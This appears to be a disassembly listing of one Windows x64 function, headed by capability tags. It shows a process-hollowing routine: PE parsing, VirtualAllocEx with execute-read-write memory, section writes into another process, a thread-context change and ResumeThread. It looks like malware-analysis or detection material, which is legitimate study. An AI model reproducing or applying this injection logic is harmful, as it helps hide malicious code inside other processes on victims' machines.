Function at 0x140180e90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x100]
xor eax, eax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x60], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x140180edb
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x140180ede
xor r14d, r14d
call fcn.140001511
mov r15, rax
mov qword [rbp - 0x68], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx eax, byte [r15]
test eax, eax
je 0x140180f06
mov edx, dword [rbx + 0x3c]
movsxd r12, edx
add r12, rdi
jmp 0x140180f0f
mov edx, dword [rbx + 0x3c]
movsxd r14, edx
add r14, rdi
test eax, eax
jne 0x140180f18
mov eax, dword [r14]
jmp 0x140180f1c
mov eax, dword [r12]
cmp eax, 0x4550
jne 0x1401815de
call fcn.1401b9ab0
cmp eax, 8
je 0x140180f38
mov ecx, 0x40
jmp 0x140180f3d
mov ecx, 0x60
call fcn.140181730
mov rdi, rax
call fcn.1401b9ab0
cmp eax, 8
je 0x140180f56
mov ecx, 0x10
jmp 0x140180f5b
mov ecx, 0x18
movsxd rcx, ecx
call fcn.140132140
mov qword [rbp - 0x40], rax
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x10], rsi
mov rcx, qword [rsi + 8]
lea rdx, [0x1402e8008]
xor r8d, r8d
xor r9d, r9d
call fcn.140181790
test eax, eax
je 0x1401812ba
test rdi, 0xffffffffffff0000
je 0x140180fdc
mov rcx, rdi
mov qword [rbp - 0x78], rcx
lea rcx, [rbp - 0xa8]
call fcn.140004590
mov rcx, qword [rbp - 0x78]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xa8]
call fcn.1400045e0
mov r15, qword [rbp - 0x68]
cmp byte [r15], 0
jne 0x140181490
mov eax, dword [r14 + 0x34]
mov edi, eax
mov rax, qword [rbp - 0x40]
mov rbx, qword [rax]
mov r13, rax
call fcn.1401b9ab0
cmp eax, 8
je 0x14018149a
mov ecx, 4
movsxd rcx, ecx
mov r13, qword [rcx + r13]
mov rcx, rbx
mov rdx, rdi
call fcn.140181ac0
test rbx, rbx
je 0x140181461
test r13, r13
je 0x140181461
movzx ecx, byte [r15]
test ecx, ecx
jne 0x1401814a4
mov r8d, dword [r14 + 0x50]
test ecx, ecx
jne 0x1401814ae
mov eax, dword [r14 + 0x54]
mov dword [rbp - 0x44], eax
test ecx, ecx
jne 0x1401814b8
movzx edx, word [r14 + 6]
movzx r10d, dx
mov dword [rbp - 0x48], r10d
test ecx, ecx
jne 0x1401814c3
mov r11d, dword [r14 + 0x28]
mov dword [rbp - 0x4c], r11d
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov qword [rbp - 0x78], rcx
mov rdx, rdi
mov qword [rbp - 0x80], rdx
mov dword [rbp - 0x6c], r8d
mov r9d, 0x3000
mov dword [rbp - 0x70], r9d
lea rcx, [rbp - 0xa8]
call fcn.140004590
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
mov r8d, dword [rbp - 0x6c]
mov r9d, dword [rbp - 0x70]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xa8]
call fcn.1400045e0
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], r8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
mov rcx, rbx
mov rdx, rsi
mov r9d, dword [rbp - 0x44]
call fcn.140181980
test eax, eax
je 0x140181432
mov r15, qword [rbp - 0x68]
cmp byte [r15], 0
jne 0x1401814cd
add r14, 0xf8
xor r12d, r12d
cmp dword [rbp - 0x48], 0
jle 0x140181150
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], r8
mov r8, qword [rdi + 0x10]
mov edx, dword [r14 + 0x14]
add r8, rdx
mov edx, dword [r14 + 0xc]
add rdx, rsi
mov r9d, dword [r14 + 0x10]
mov rcx, rbx
call fcn.140181980
test eax, eax
je 0x140181403
add r14, 0x28
inc r12d
mov ecx, dword [rbp - 0x48]
cmp r12d, ecx
mov dword [rbp - 0x48], ecx
jl 0x14018110f
cmp byte [r15], 0
jne 0x1401814da
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.140132140
mov rdi, rax
cmp byte [r15], 0
je 0x1401814e4
mov dword [rdi + 0x30], 0x10001b
cmp byte [r15], 0
jne 0x1401814ef
mov rcx, r13
mov rdx, rdi
call fcn.1401818f0
test eax, eax
je 0x1401813d4
mov r14d, dword [rdi + 0xa4]
mov r12, qword [rdi + 0x88]
mov rcx, rsi
call fcn.1400bdf10
cmp byte [r15], 0
jne 0x140181507
add r14d, 8
movsxd rdx, r14d
lea r9, [rbp - 0x58]
mov qword [rsp + 0x20], r9
mov r9d, dword [rax + 8]
mov rcx, rbx
mov r8, rax
call fcn.140181a10
test eax, eax
je 0x140181376
cmp byte [r15], 0
je 0x140181511
mov r14d, dword [rbp - 0x4c]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0x80], rcx
lea rcx, [0x1402fdb78]
call fcn.1401800b0
test rax, rax
jne 0x140181527
xor esi, esi
lea rcx, [0x1402fdb78]
call fcn.1401800b0
test rax, rax
jne 0x140181559
xor r14d, r14d
test rsi, rsi
je 0x1401812e9
test r14, r14
je 0x140181318
cmp byte [r15], 0
jne 0x14018158c
mov rcx, qword [rsi + 8]
mov rdx, r13
mov r8, rdi
call qword [rsi + 0x20]
test eax, eax
je 0x140181347
mov rcx, r13
mov qword [rbp - 0x80], rcx
lea rcx, [rbp - 0xa8]
call fcn.140004590
mov rcx, qword [rbp - 0x80]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xa8]
call fcn.1400045e0
mov qword [rbp - 0x60], rbx
jmp 0x1401815bd
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f3350]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f2e78]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f2fe8]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f2f80]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f3350]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f3408]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f30c0]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f3130]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f3490]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f33a0]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f3058]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
mov rdi, qword [r12 + 0x30]
jmp 0x140180ff0
mov ecx, 8
jmp 0x14018100d
mov r8d, dword [r12 + 0x50]
jmp 0x140181041
mov eax, dword [r12 + 0x54]
jmp 0x14018104d
movzx edx, word [r12 + 6]
jmp 0x14018105d
mov r11d, dword [r12 + 0x28]
jmp 0x140181071
lea r14, [r12 + 0x108]
jmp 0x140181106
mov ecx, 0x4d0
jmp 0x14018115f
mov dword [rdi], 0x10002
jmp 0x14018117b
mov rcx, r13
mov rdx, rdi
call fcn.140181890
test eax, eax
je 0x1401813a5
jmp 0x140181198
lea rdx, [r12 + 0x10]
jmp 0x1401811bf
mov r14d, dword [rbp - 0x4c]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x1401811fa
mov rcx, rax
lea rdx, [0x1402fbf10]
call fcn.1401801d0
test rax, rax
je 0x140181552
mov rdx, rax
lea rcx, str.Xo__
call fcn.1401bc2c0
mov rsi, rax
jmp 0x140181211
xor esi, esi
jmp 0x140181211
mov rcx, rax
lea rdx, [0x1402f87b0]
call fcn.1401801d0
test rax, rax
je 0x140181584
mov rdx, rax
lea rcx, [0x140219708]
call fcn.1401bc2c0
mov r14, rax
jmp 0x140181229
xor r14d, r14d
jmp 0x140181229
mov rcx, qword [r14 + 8]
mov rdx, r13
mov r8, rdi
call qword [r14 + 0x20]
test eax, eax
je 0x14018128b
jmp 0x14018125a
mov rcx, rsp
call fcn.14018166b
nop
mov rax, qword [rbp - 0x60]
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x140230118]
call fcn.140004120
mov rsi, rax
mov rcx, rsi
call fcn.1400b8f20
lea rcx, [rsi + 8]
lea rdx, [0x1402f49d8]
call fcn.140004430
mov rcx, rsi
call fcn.140005540
xor eax, eax
jmp 0x1401815ca